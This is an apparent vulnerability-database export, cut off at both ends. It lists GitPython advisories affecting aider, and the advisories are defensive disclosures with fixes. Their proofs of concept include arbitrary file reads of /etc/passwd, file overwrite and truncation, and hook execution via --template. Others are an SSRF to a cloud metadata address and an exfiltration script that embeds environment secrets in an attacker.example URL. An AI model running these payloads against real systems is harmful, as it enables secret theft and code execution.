https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d","severity":[{"type":"CVSS_V4","score":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"}],"references":[{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/security/advisories/GHSA-cq5v-8q36-5273"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/pull/13223"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/commit/49f65d54150397892f7bcc4aae887767d51c322d"},{"type":"PACKAGE","url":"https://github.com/aio-libs/aiohttp"},{"type":"WEB","url":"https://github.com/aio-libs/aiohttp/releases/tag/v3.14.3"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73619","published":"2026-08-14T08:50:09Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-539m-9xh6-q6rr","CVE-2026-73619","PYSEC-2026-3948"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.57","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Incomplete unsafe_git_archive_options denylist omits --add-file / --add-virtual-file, enabling arbitrary file read via Repo.archive()","details":"**Target:** gitpython-developers/GitPython\n**Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1`\n\n## Summary\n\n`Repo.archive()` does call the option guard, so this is not a missing-guard report. The guard is present and working; the **denylist it consults is incomplete**.\n\n```python\n# git/repo/base.py:169\nunsafe_git_archive_options = [\n    # Allows arbitrary command execution through the remote git-upload-archive command.\n    \"--exec\",\n    # Writes output to a caller-controlled filesystem path.\n    \"--output\",\n    \"-o\",\n]\n```\n\nThe comment on `--output` states the protected class in the project's own words: an option that lets the caller name **a filesystem path** is unsafe. `--output` is blocked because it *writes* to a caller-chosen path.\n\n`git archive` also accepts `--add-file=<path>` and `--add-virtual-file=<path:content>` (both present in current git; verified against `git version 2.50.1`). `--add-file` *reads* a caller-chosen path — including an absolute path outside the repository — and places the bytes into the archive the caller receives. Neither option is in the list, and no other layer references them:\n\n```\n$ grep -rniE \"add.file|add_file\" git/\ngit/index/base.py:771:   R\"\"\"Add files from the working tree, ...      # unrelated docstring\n```\n\nNet effect: the guard blocks arbitrary file **write** at this sink while permitting arbitrary file **read** at the same sink.\n\n## Reachability proof (verified at the sink)\n\n`poc/poc_addfile.py` at HEAD `07e80555`. The PoC creates its own out-of-tree canary, so it runs from a clean machine:\n\n```\n-- CONTROL: options the denylist covers (expect BLOCKED) --\n  [BLOCKED] output='/tmp/gp_written.tar': --output is not allowed, use `allow_unsafe_options=True` to allow it.\n  [BLOCKED] o='/tmp/gp_written.tar': -o is not allowed, use `allow_unsafe_options=True` to allow it.\n  [BLOCKED] exec='touch /tmp/gp_exec': --exec is not allowed, use `allow_unsafe_options=True` to allow it.\n\n-- SIBLING OMITTED FROM THE DENYLIST: --add-file (expect ALLOWED) --\n  [ALLOWED] add_file='/tmp/gp_canary.txt'  -> archive 10240 bytes\n  archive members: ['f.txt', 'gp_canary.txt']\n  >>> EXFILTRATED gp_canary.txt: 'secret-canary-12345'\n  >>> byte-for-byte match with the out-of-tree file: CONFIRMED\n\n-- also: --add-virtual-file (attacker-chosen name AND content) --\n  [ALLOWED] add_virtual_file='pwn.txt:hello'  -> archive 10240 bytes\n```\n\nThe three blocked lines are the control: they prove the guard is active on this call path, so the fourth result is a gap in list membership rather than a guard that never ran.\n\nMinimal reproduction:\n\n```python\nimport io, tarfile\nfrom git import Repo\n\nbuf = io.BytesIO()\nRepo(\"/path/to/repo\").archive(buf, format=\"tar\", add_file=\"/etc/passwd\")\nprint(tarfile.open(fileobj=io.BytesIO(buf.getvalue())).getnames())\n# ['<repo files>', 'passwd']   <- contents readable by whoever receives the archive\n```\n\nThe canary is untracked and lives outside the repository; its contents are recovered from the returned archive and asserted byte-for-byte against the on-disk file. The option is rendered by `transform_kwargs` into `--add-file=<path>` and reaches `git archive` unmodified.\n\n## Direct precedent\n\n`GHSA-6p8h-3wgx-97gf` (High, published 2026-07-22) is the same defect on the sibling list: *\"Incomplete `unsafe_git_clone_options` denylist omits `--template`\"* — an option absent from one of these denylists, reachable under the same caller-controlled-options precondition, accepted and fixed by adding it. `git log` shows the archive list itself has already been extended reactively once, in `701ce32f` (*fix: Guard unsafe git command options*, GHSA-956x-8gvw-wg5v), and the `--template` omission was then fixed separately in `ffcb5359`.\n\n## `--add-virtual-file` is the same gap pointing the other way\n\n`--add-virtual-file=<path:content>` lets the caller inject **attacker-chosen content under an attacker-chosen name** into an archive that downstream consumers will reasonably treat as repository-derived. \n\n## Suggested remediation\n\n1. **Preferred — allowlist.** `Repo.archive()` has a small legitimate option surface (`format`, `prefix`, `worktree_attributes`, `remote`, compression level, plus paths). Accepting those and rejecting the rest means a future git release cannot add another path-taking option that silently reopens this.\n2. **Minimum — extend the list** with `--add-file` and `--add-virtual-file`, and make the membership rule *\"the option takes a filesystem path or URL\"* rather than *\"the option executes a command\"*. The existing comment on `--output` already implies that rule; applying it consistently is what closes the class instead of this instance.\n\n## Scope limits\n\n- Impact is **arbitrary file read at the privileges of the process**. Not code execution — I make no such claim here.\n- It requires the embedding application to forward caller-influenced kwargs into `Repo.archive()`. That is the identical precondition to `--output`, `--exec` and `--template`, all of which this project has treated as reportable.\n\n## Disclosure\n\nReported privately via GitHub private vulnerability reporting. Happy to test a candidate patch against the PoC. No public disclosure until you have shipped a fix and are ready.\n---\n\n## Addendum (2026-07-25) — related observation on the same membership question, filed here rather than separately\n\nWhile auditing the archive denylist, the same class of gap was identified in unsafe_git_clone_options. A second advisory is not being requested, as the issue is lower severity and should inform the fix for the issue above rather than require separate triage. Recording it here to provide the complete picture in one place.\n\n`Repo._clone()` treats a URL's protocol as a security boundary and applies `check_unsafe_protocols()` to exactly one input:\n\n```python\nclone_url = Git.polish_url(url, expand_vars=False)\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(clone_url)      # the positional url only\n```\n\n`git clone` accepts a **second** URL via `--bundle-uri=<uri>`, which git dereferences before the main transport runs. That option is absent from `unsafe_git_clone_options`, so the option guard passes it, and `check_unsafe_protocols()` never inspects it. A caller-influenced value therefore drives an outbound request from the host:\n\n```python\nRepo.clone_from(trusted_url, dest,\n                multi_options=[\"--bundle-uri=http://169.254.169.254/latest/meta-data/\"])\n# no UnsafeProtocolError, no UnsafeOptionError\n```\n\nConfirmed against a local listener — the request leaves the process:\n\n```\n127.0.0.1 - - [24/Jul/2026 23:07:41] \"GET /internal-metadata HTTP/1.1\" 404 -\n```\n\n`file:///path` is likewise accepted without error. Note this is **not** a tokenisation bypass: `multi_options` is `shlex.split` before the check (per `c9a26789` / GHSA-x2qx-6953-8485), so the fully-split `--bundle-uri=...` token is checked and legitimately passes because the option is not on the list.\n\nWhy it belongs with this report: both are the *membership* question rather than the matching logic — is the set of blocked options complete, and does the protocol guard inspect every URL git will dereference? The structural remediation proposed above covers both if extended slightly: prefer an allowlist per command, and route **every** URL-bearing option through `check_unsafe_protocols()`, not only the positional URL. Adding `--bundle-uri` to `unsafe_git_clone_options` would be the minimal fix.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-539m-9xh6-q6rr"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2193"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/7a4f5dcb7bf3cbcbf6e438017efcdfe0bc0d36ca"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73620","published":"2026-08-14T08:50:09Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-3f7w-8rr8-f37f","CVE-2026-73620","PYSEC-2026-3949"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.57","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Unguarded git option forwarding in IndexFile.checkout() and TagReference.create() enables arbitrary file overwrite and arbitrary file read","details":"**Target:** gitpython-developers/GitPython\n**Tested:** HEAD `07e80555` (2026-07-25), latest release 3.1.55, `git version 2.50.1`\n**Reported instances:** 2 exploitable, from a sweep of 14 unguarded call sites\n\n## Summary\n\nGitPython blocks dangerous git options through `Git.check_unsafe_options()`, gated per method by an `allow_unsafe_options` parameter. That guard is applied **per call site**, so any API that forwards `**kwargs` into a git command without calling it passes caller-controlled options straight to git.\n\nA mechanical sweep of every method that forwards `**kwargs` into a `.git.<command>(...)` call found **14 sites with no guard**. Two reach a git option that takes a filesystem path:\n\n| # | Call site | git option | Impact |\n|---|---|---|---|\n| 1 | `IndexFile.checkout()` → `git checkout-index` | `--prefix=<path>` | arbitrary file **overwrite** with repository-controlled content |\n| 2 | `TagReference.create()` → `git tag` | `-F <file>` / `--file=<file>` | arbitrary file **read**, returned in-band |\n\nThis is the same defect class already fixed in `Commit.count()` (GHSA-p538-c434-8v24), `Repo.archive()` and `Git.ls_remote()` (GHSA-956x-8gvw-wg5v). Both instances below are still present at HEAD.\n\n---\n\n## Instance 1 — `IndexFile.checkout()`: arbitrary file overwrite\n\n`git/index/base.py:1210` accepts `**kwargs` and forwards them with no guard:\n\n```python\ndef checkout(self, paths=None, force=False, fprogress=lambda *args: None, **kwargs):\n    ...\n    proc = self.repo.git.checkout_index(*args, **kwargs)   # line 1331\n    ...\n    proc = self.repo.git.checkout_index(args, **kwargs)    # line 1349\n```\n\nThere is no `allow_unsafe_options` parameter and no `check_unsafe_options()` call in the method.\n\n`git checkout-index` accepts `--prefix=<string>`, prepended to every output path. It is not confined to the working tree, so an absolute prefix writes tracked file contents anywhere the process can write, and `-f` overwrites what is already there.\n\n### Reproduction\n\n```python\nfrom git import Repo\nRepo(\"/path/to/repo\").index.checkout(prefix=\"/tmp/target_dir/\", a=True, f=True)\n```\n\nObserved (`poc/poc_checkout_index.py`) — no exception raised, files land outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\nfiles written outside the repo: ['f.txt']\n  f.txt: 'hi\\n'\n```\n\nOverwrite of a pre-existing file (`poc/poc_ci_overwrite.py`) — the victim file held `ORIGINAL-DO-NOT-CLOBBER\\n` before the call:\n\n```\n[ALLOWED] no exception\nvictim content now: 'hi\\n'\nOVERWRITTEN: True\n```\n\n### Why this rates High\n\nBoth halves of the write are attacker-influenced:\n\n- **Destination** — the `prefix` kwarg.\n- **Content** — the bytes written are repository blobs, so anyone who can land a file in the repository (a pull-request branch, a mirrored or untrusted repository, an agent-cloned repository) controls exactly what is written.\n\nCommit a file named `authorized_keys`, `.bashrc`, `config` or `post-checkout`, choose the matching prefix (`~/.ssh/`, `~/`, `.git/hooks/`), and the write becomes code execution as the service account.\n\nFor comparison within this project: GHSA-fjr4-x663-mwxc (arbitrary file overwrite via `git diff --output`) is rated High, and GHSA-p538-c434-8v24 (arbitrary file *truncation* via `git rev-list --output`) is rated Medium. `--prefix` supplies full content control, so it sits at or above the former.\n\n---\n\n## Instance 2 — `TagReference.create()`: arbitrary file read\n\n`git/refs/tag.py:88` forwards `**kwargs` into `git tag` with no guard, and the signature advertises the passthrough:\n\n```python\ndef create(cls, repo, path, reference=\"HEAD\", logmsg=None, force=False, **kwargs):\n    \"\"\"...\n    :param kwargs:\n        Additional keyword arguments to be passed to :manpage:`git-tag(1)`.\n    \"\"\"\n```\n\n`git tag` accepts `-F <file>` / `--file=<file>`, which reads the tag message from an arbitrary path. The annotated tag object stores that content and GitPython returns it to the caller via `TagReference.tag.message`, so the file contents come back in-band.\n\n### Reproduction\n\n```python\nfrom git import Repo\nfrom git.refs.tag import TagReference\n\nt = TagReference.create(Repo(\"/path/to/repo\"), \"x\", force=True, a=True, F=\"/etc/passwd\")\nprint(t.tag.message)\n```\n\nObserved (`poc/poc_tag_F.py`), reading a canary file outside the repository:\n\n```\n[ALLOWED] no UnsafeOptionError raised\n>>> tag message recovered from arbitrary path: 'TAG-READ-CANARY-98765\\nsecond-line-secret'\n```\n\nImpact is a read at the privileges of the process. I am not claiming code execution for this instance. The signing options (`-s`, `-u`/`--local-user`) do invoke gpg from the same unguarded kwargs, but I did not develop that into command execution and make no claim about it.\n\n---\n\n## Sweep results — the other 12 sites\n\nReported so the fix can be scoped once rather than per report. `poc/sweep.py` reproduces this list.\n\n| Call site | git command | Assessment |\n|---|---|---|\n| `IndexFile.from_tree()` | `read-tree` | `--index-output=<path>` looked reachable but is **neutralised**: GitPython appends its own `--index-output` after the caller's kwargs and git honours the last occurrence. Verified — victim file unchanged (`poc/poc_readtree.py`) |\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n| `Head.delete()`, `RemoteReference.delete()` | `branch` | no path-taking option found |\n| `Repo.merge_base()` | `merge-base` | no path-taking option found |\n| `Repo._get_untracked_files()` | `status` | no path-taking option found |\n| `Remote.set_url()`, `Remote.create()`, `Remote.update()` | `remote` | URL handling already addressed by GHSA-94p4-4cq8-9g67 |\n\n## Suggested remediation\n\n**Immediate:** add `allow_unsafe_options: bool = False` to both methods and gate `Git._option_candidates(args, kwargs)` against new lists — `unsafe_git_checkout_index_options = [\"--prefix\"]` (consider `--temp`) and `unsafe_git_tag_options = [\"--file\", \"-F\"]` (consider `-s`, `-u`/`--local-user`, `--cleanup`) — matching the pattern used in `Repo.archive()` and `Commit.count()`.\n\n**Structural:** this defect has now been fixed four times in four places (`Repo.archive()`, `Git.ls_remote()`, `Commit.count()`, and the two here), because the guard is opt-in per method: every new `**kwargs`-forwarding API starts unguarded and stays that way until someone reports it. Enforcing the check centrally in `Git._call_process()` — each git invocation consults a per-command unsafe-option table unless the caller opts out — would make new call sites safe by default rather than by review, and would close the remaining sites in the table above at the same time.\n\n## Disclosure\n\nReported privately via GitHub private vulnerability reporting.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-3f7w-8rr8-f37f"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2193"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/3af0c2516c5e18c829da30338614688f6b69b49c"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.57"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73621","published":"2026-08-14T08:50:09Z","modified":"2026-10-08T00:29:13Z","upstream":["GHSA-p538-c434-8v24","CVE-2026-73621","PYSEC-2026-3950"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.56","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Arbitrary file truncation via git rev-list --output argument injection in unguarded Commit.count","details":"## Summary\n`Commit.count()` forwards `**kwargs` into `rev_list` with **no** `check_unsafe_options` guard (the guard exists only in the sibling `iter_items`, commit.py:341). `git rev-list --output=<path>` opens and truncates the target file to 0 bytes before revision parsing, so `count(output='/victim')` destroys/blanks an arbitrary file.\n\n## Root Cause\n`commit.py:290-291` calls `self.repo.git.rev_list(self.hexsha, **kwargs)` with no `check_unsafe_options` and no `allow_unsafe_options` parameter. The sibling `iter_items` (commit.py:341) is guarded; `count` is not. This is a distinct, uncovered sink — GHSA-956x-8gvw-wg5v fixed `iter_commits`/`blame`, not `count`.\n\n## Impact\nDestroy/blank an arbitrary file at process privilege (integrity/availability). Reachability is key-control only (`count` uses `self.hexsha`, not a user ref), and the write is a 0-byte truncation (no content control), so MEDIUM.\n\n## Proof of Concept\n```python\ncommit.count(output='/path/to/victim')   # victim truncated to 0 bytes (verified)\n# control: commit.iter_commits(output=...) raises UnsafeOptionError\n```\n\n## Attack Chain\n1. Entry: app forwards user options -> `commit.count(output='/victim')`. Guard: none. Bypass proof: `iter_commits(output=)` raises UnsafeOptionError; `count(output=)` does not — verified side-by-side.\n2. Sink: `git rev-list <sha> --output=/victim` -> file truncated to 0 bytes. Impact: destroy/blank arbitrary file.\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): `count(output=<victim>)` truncated a pre-existing file to 0 bytes; guarded `iter_commits(output=)` raised UnsafeOptionError. Same CNA-accepted \"app forwards user options dict\" model as GHSA-956x-8gvw-wg5v's `archive(**kwargs)`. Uncovered sink, not a duplicate.\n\n## Affected Versions\n`<= 3.1.53`\n\n## Suggested Fix\nAdd `check_unsafe_options` to `Commit.count` (mirroring `iter_items`).\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:L/A:L"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-p538-c434-8v24"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/pull/2184"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/38553b6fddc7f6a667cdb45a6762343a08fc72b2"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.56"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73622","published":"2026-08-14T08:50:09Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-94p4-4cq8-9g67","CVE-2026-73622","PYSEC-2026-3951"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.55","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Environment-variable exfiltration via Repo.create_remote() / Remote.add() URL (incomplete fix of GHSA-rwj8-pgh3-r573)","details":"## Summary\n\nThe fix for [GHSA-rwj8-pgh3-r573](https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-rwj8-pgh3-r573) stopped `Repo.clone_from()` from running caller-supplied URLs through `os.path.expandvars()`, but it guarded only that one caller. `Remote.create()` — reached from the public `Repo.create_remote()` and its `Remote.add()` alias — still passes an attacker-influenceable URL through `Git.polish_url()` with the default `expand_vars=True`. A URL such as `http://attacker.example/${AWS_SECRET_ACCESS_KEY}/repo.git` is expanded server-side to embed the hosting process's environment secret, written into `.git/config`, and then transmitted to the attacker's host on the next `fetch`/`pull`. This is the same primitive and same \"import repository from URL\" threat model the advisory describes, via the sibling caller the fix missed.\n\n## Root Cause\n\nFix commit [`8ac5a305`](https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2) added an `expand_vars` parameter to `Git.polish_url()` (default `True`) and used `expand_vars=False` only in `Repo._clone()` ([`git/repo/base.py:1455`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/repo/base.py#L1455)). The shared helper's dangerous default was left in place, and the other callers were not updated.\n\n[`git/remote.py:811`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/remote.py#L811), `Remote.create`:\n\n```python\nurl = Git.polish_url(url)                 # expand_vars=True -> os.path.expandvars(url)\nif not allow_unsafe_protocols:\n    Git.check_unsafe_protocols(url)       # https:// carrying the secret passes\nrepo.git.remote(scmd, \"--\", name, url, **kwargs)   # expanded URL written to .git/config\n```\n\n`check_unsafe_protocols()` runs *after* expansion here, so it rejects an `ext::` payload but does nothing about an `https://` URL that carries an expanded secret in its path or host — the disclosure primitive.\n\nThe same unguarded call also sits at [`git/objects/submodule/base.py:611`](https://github.com/gitpython-developers/GitPython/blob/3.1.53/git/objects/submodule/base.py#L611) (`Submodule.add`), which writes the expanded URL into `.gitmodules` (a tracked file) and `.git/config`.\n\n## Steps to Reproduce\n\n### Prerequisites\n\n- Python 3.9+\n- `git` on `PATH` (for the fetch step)\n- GitPython 3.1.53 (installed below)\n\n### Step 1: Install GitPython 3.1.53 in a clean venv\n\n```bash\nmkdir /tmp/gp-remote-poc && cd /tmp/gp-remote-poc\npython3 -m venv venv\n./venv/bin/pip install gitpython==3.1.53\n```\n\n### Step 2: Write the PoC\n\n```bash\ncat > poc.py <<'PYEOF'\n#!/usr/bin/env python3\n\"\"\"Env-var exfiltration via Repo.create_remote() URL. Sentinel data only.\"\"\"\nimport http.server\nimport os\nimport tempfile\nimport threading\n\nimport git\n\nprint(\"gitpython version:\", git.__version__)\n\n# Sentinel standing in for a process secret such as AWS_SECRET_ACCESS_KEY.\nSENTINEL = \"leaked-a1b2c3-SENTINEL-do-not-use\"\nos.environ[\"GP_SENTINEL_SECRET\"] = SENTINEL\n\n# Local HTTP server standing in for attacker.example.\ncaptured = []\n\n\nclass Handler(http.server.BaseHTTPRequestHandler):\n    def do_GET(self):\n        captured.append(self.path)\n        self.send_response(404)\n        self.end_headers()\n\n    def log_message(self, *a):\n        pass\n\n\nsrv = http.server.HTTPServer((\"127.0.0.1\", 0), Handler)\nport = srv.server_address[1]\nthreading.Thread(target=srv.serve_forever, daemon=True).start()\n\n# Attacker-controlled URL handed to an \"import from URL\" feature.\nattacker_url = \"http://127.0.0.1:%d/steal/${GP_SENTINEL_SECRET}/repo.git\" % port\n\n\ndef norm(s):  # display the ephemeral listener port as a stable placeholder\n    return s.replace(\"127.0.0.1:%d\" % port, \"127.0.0.1:PORT\")\n\n\nprint(\"attacker-supplied URL :\", norm(attacker_url))\n\nrepo = git.Repo.init(tempfile.mkdtemp(prefix=\"gp-victim-\"))\nremote = repo.create_remote(\"evil\", attacker_url)   # public API\n\nstored = repo.remote(\"evil\").url\nprint(\"stored remote URL     :\", norm(stored))\nprint(\"SENTINEL in git config:\", SENTINEL in stored)\n\ntry:\n    remote.fetch()          # transmits the expanded URL to the attacker host\nexcept Exception:\n    pass                    # fetch fails after the request is already sent\n\nsrv.shutdown()\nover_network = any(SENTINEL in p for p in captured)\nprint(\"HTTP paths received   :\", [norm(p) for p in captured])\nprint(\"SENTINEL over network :\", over_network)\n\nprint()\nif SENTINEL in stored and over_network:\n    print(\"VULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\")\nelif SENTINEL in stored:\n    print(\"VULNERABLE: env-var expanded into stored git-config URL\")\nelse:\n    print(\"not reproduced\")\nPYEOF\n```\n\n### Step 3: Run it\n\n```bash\ncd /tmp/gp-remote-poc && ./venv/bin/python poc.py\n```\n\nExpected output (the listener's ephemeral port is shown as `PORT`):\n\n```\ngitpython version: 3.1.53\nattacker-supplied URL : http://127.0.0.1:PORT/steal/${GP_SENTINEL_SECRET}/repo.git\nstored remote URL     : http://127.0.0.1:PORT/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git\nSENTINEL in git config: True\nHTTP paths received   : ['/steal/leaked-a1b2c3-SENTINEL-do-not-use/repo.git/info/refs?service=git-upload-pack']\nSENTINEL over network : True\n\nVULNERABLE: env-var expanded into stored URL AND transmitted to attacker host\n```\n\nThe `${GP_SENTINEL_SECRET}` token in the supplied URL is replaced with the environment value both in the stored `.git/config` URL and in the request that reaches the attacker-controlled host.\n\n## Suggested Fix\n\nPass `expand_vars=False` at the remaining URL callers, matching the clone fix:\n\n- `git/remote.py` `Remote.create`: `url = Git.polish_url(url, expand_vars=False)`\n- `git/objects/submodule/base.py` `Submodule.add`: `url = Git.polish_url(url, expand_vars=False)`\n\nMore robustly, flip the `Git.polish_url()` default to `expand_vars=False` (env-var expansion on a URL is never desirable for network remotes) and require callers that genuinely normalize local paths to opt in.\n\n## Cleanup\n\n```bash\nrm -rf /tmp/gp-remote-poc\n```\n\n## Impact\n\nAny secret in the hosting process environment (`AWS_SECRET_ACCESS_KEY`, `GITHUB_TOKEN`, CI/CD tokens) is disclosed to an attacker who controls a remote URL passed to `Repo.create_remote()` / `Remote.add()`. The secret is expanded into `.git/config` immediately and transmitted over the network (DNS + HTTP) on the next `fetch`/`pull`/`remote update`. This is the documented \"import repository from URL\" attacker model of GHSA-rwj8-pgh3-r573 — CI servers, git-hosting mirrors, and dependency scanners — applied to the add-a-remote flow, which the clone-only fix did not cover. The same disclosure reaches `.gitmodules` (a committable file) via `Submodule.add()`.","severity":[{"type":"CVSS_V3","score":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N"}],"references":[{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-94p4-4cq8-9g67"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/863417457a0633db7ea5aed4fd01e0b291a41162"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/commit/8ac5a30519b6f4af85398b9b9d7064ff4d452da2"},{"type":"PACKAGE","url":"https://github.com/gitpython-developers/GitPython"},{"type":"WEB","url":"https://github.com/gitpython-developers/GitPython/releases/tag/3.1.55"},{"type":"WEB","url":"https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3951.yaml"},{"type":"WEB","url":"https://www.vulncheck.com/advisories/gitpython-before-environment-variable-exfiltration-via-remote-add"}]},{"schema_version":"1.7.3","id":"BREW-aider-CVE-2026-73623","published":"2026-08-14T08:50:09Z","modified":"2026-10-08T00:29:12Z","upstream":["GHSA-6p8h-3wgx-97gf","CVE-2026-73623","PYSEC-2026-3952"],"affected":[{"package":{"ecosystem":"Homebrew","name":"aider","purl":"pkg:brew/aider"},"ranges":[{"type":"ECOSYSTEM","events":[{"introduced":"0.47.1"}]}],"ecosystem_specific":{"fix":null,"range_state":"affected","upstream_fixed_in":"3.1.54","resource":"gitpython","resource_purl":"pkg:pypi/gitpython@3.1.46"}}],"database_specific":{"source":"matched","strategy":"registry","confidence":"high","upstream_evidence":[{"strategy":"registry","ecosystem":"PyPI","name":"gitpython","subject_version":"3.1.46","key":"pkg:pypi/gitpython@3.1.46","resource":"gitpython"}]},"summary":"GitPython: Incomplete unsafe_git_clone_options denylist omits --template enabling arbitrary command execution via clone hooks","details":"## Summary\nGitPython's `unsafe_git_clone_options` denylist omits `--template`. `git clone --template=<dir>` copies `<dir>/hooks/` into the new repository and runs them (`post-checkout` fires during clone), so a caller who can influence clone options can achieve arbitrary command execution in the default `allow_unsafe_options=False` configuration.\n\n## Root Cause\n`base.py:145-152` defines `unsafe_git_clone_options = [\"--upload-pack\",\"-u\",\"--config\",\"-c\"]` — `--template` is absent. The guard candidate `['--template']` passes `check_unsafe_options` (verified). git copies the hook directory and executes `post-checkout` at checkout time. git's `protocol.allow`/`GIT_ALLOW_PROTOCOL` do not gate `--template`; the incomplete denylist is the only defense.\n\n## Impact\nArbitrary OS command execution during clone (default config). Requires an attacker-readable directory containing an executable hook — a genuine second precondition (realistic via shared filesystems, upload dirs, `/tmp`, or attacker-writable network paths), reflected as AC:H.\n\n## Proof of Concept\n```python\n# attacker stages <dir>/hooks/post-checkout (chmod +x)\nfrom git import Repo\nRepo.clone_from(src, dst, template='<dir>')   # post-checkout hook executes -> marker created (verified)\n```\n\n## Attack Chain\n1. Setup: attacker stages `<dir>/hooks/post-checkout` (chmod +x). Guard: n/a (filesystem).\n2. Entry: `Repo.clone_from(url, path, template='<dir>')`. Guard: `check_unsafe_options(candidates=['--template'], unsafe=unsafe_git_clone_options)`. Bypass proof: `--template` not on the denylist -> passes (verified candidate `['--template']`, no error).\n3. Sink: git copies the hook and executes `post-checkout` at checkout. Impact: ACE, default config (verified marker created).\n\n## Bypass Evidence\nLive-verified on HEAD (tag 3.1.53): guard candidate `['--template']` passed with no error; staged `post-checkout` hook executed during `clone_from`, creating the marker. Independent of the value-smuggle bypass (`--template` is a legitimate long option that survives any single-char-value fix). Not covered by any existing advisory.\n\n## Affected Versions\n`<= 3.1.53`\n\n## Suggested Fix\nAdd `--template` (and audit for other hook/exec-influencing options) to `unsafe_git_clone_options`.\n\n---\nReported by **zx (Jace)** 